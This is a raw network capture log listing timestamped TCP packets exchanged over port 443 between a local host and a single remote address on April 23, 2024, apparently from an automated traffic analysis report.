Apr 23, 2024 21:54:09.595359087 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.595680952 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.596208096 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.596229076 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.596420050 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.597095013 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.597122908 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.598603964 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.598670959 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.599013090 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.599087000 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.599191904 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.599200010 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.599276066 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.599462032 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.599493027 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.603311062 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.603374958 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.606528997 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.606627941 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.606709957 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.606722116 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.651319027 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.651546955 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.691832066 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.691921949 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.692018986 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.692049026 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.692094088 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.693166971 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.693206072 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.693237066 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.693280935 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.964615107 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.964709044 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.964802027 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.966418982 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.966440916 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970345974 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970391989 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970402956 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970433950 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970487118 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970495939 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970509052 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.970541954 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970562935 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.970565081 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.970588923 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970691919 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970710993 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970731974 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.970737934 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970740080 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970789909 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.970808983 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970983028 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.970983982 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.971060991 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.973309040 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.973320007 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.973349094 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.973385096 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.973710060 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.973738909 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.973984957 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.974005938 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.977335930 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.977365017 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.977440119 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.977962971 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.977974892 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.981508017 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.981549025 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.981937885 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.982521057 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.982542992 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983650923 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983719110 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983753920 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983803034 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.983830929 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983848095 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.983874083 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.983906984 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.984469891 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.984486103 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.987771988 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.987792969 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.987909079 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.988318920 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.988346100 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.988589048 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.988862038 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.988876104 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.989027977 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.989042044 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.990746021 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.990808010 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.990880966 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.991261005 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.991286993 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.036941051 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.037282944 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.037374020 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.038386106 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.038400888 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.043258905 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.043286085 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.043411970 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.043577909 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.043596029 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.114861012 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.114912987 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.114945889 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.114983082 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115022898 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115004063 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.115061998 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115104914 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.115119934 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115147114 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115164995 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.115183115 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.115205050 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.115622997 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.118551970 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.118566990 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.160526037 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.198717117 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199039936 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199068069 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199132919 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.199151993 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199204922 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.199215889 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199918985 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.199980974 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.199992895 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200083971 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200212002 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.200223923 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200360060 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200387001 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200398922 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.200409889 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200544119 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.200844049 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200901031 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200933933 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.200975895 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.200988054 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201208115 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.201219082 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201781988 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201816082 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201828003 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.201839924 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201874018 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201931953 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.201942921 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.201992035 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.202444077 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.202680111 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.202699900 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.203155041 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.203478098 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.203542948 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.203674078 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.203694105 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.205218077 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.205409050 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.205427885 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.205866098 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.206159115 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.206221104 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.206299067 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.206316948 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.215439081 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.215656996 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.215694904 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.216229916 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.216547012 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.216629028 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.216676950 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.216715097 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.216881990 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.216964006 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.216976881 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.217253923 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.217283010 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.217974901 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.218487024 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.218590975 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.218596935 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.218599081 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.218611956 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.218657970 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.219244003 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.219331026 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.219362974 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.254342079 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.260116100 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.260135889 CEST	443	49799	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.260266066 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.260273933 CEST	49799	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.260617018 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.260632038 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.266078949 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.266439915 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.266463995 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.267904997 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.267960072 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.268384933 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.268460035 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.268739939 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.268745899 CEST	443	49802	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.308934927 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.308936119 CEST	49802	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.314915895 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315059900 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315093040 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315098047 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.315105915 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315279007 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.315365076 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315490007 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.315644026 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.315994978 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.316009998 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.320466042 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.320513010 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.320578098 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.320771933 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.320785999 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.544178963 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.544500113 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.544544935 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.545118093 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.545459032 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.545552969 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.545625925 CEST	49804	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.588116884 CEST	443	49804	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621233940 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621294975 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621332884 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621371984 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621382952 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.621417046 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621436119 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.621463060 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621506929 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621526957 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.621531963 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621745110 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.621758938 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621938944 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621968031 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.621983051 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.621987104 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.622026920 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.713241100 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.713440895 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.713511944 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.713532925 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.713561058 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.713664055 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.713686943 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.713989019 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714054108 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.714066029 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714164019 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714251041 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714253902 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.714272976 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714329004 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.714349985 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714854956 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714936972 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.714947939 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.714999914 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.715064049 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.715240955 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.715276003 CEST	443	49797	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.715301037 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.715390921 CEST	49797	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.725975990 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726108074 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726186037 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.726202011 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726232052 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726299047 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.726321936 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726475000 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726541042 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.726567030 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726681948 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726733923 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.726747036 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726834059 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.726973057 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.727026939 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.727040052 CEST	443	49798	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.727104902 CEST	49798	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.768011093 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768148899 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768239021 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768265963 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.768312931 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768403053 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.768420935 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768457890 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.768513918 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.769321918 CEST	49801	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.769352913 CEST	443	49801	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.769804955 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.769856930 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.769932985 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.770644903 CEST	49805	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.770659924 CEST	443	49805	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.786758900 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.786919117 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.786998987 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.787005901 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.787036896 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.787183046 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.787228107 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.787247896 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.787286043 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.787292957 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.787436962 CEST	443	49800	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:10.790532112 CEST	49800	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:10.804786921 CEST	443	49799	172.67.143.205	192.168.2.5
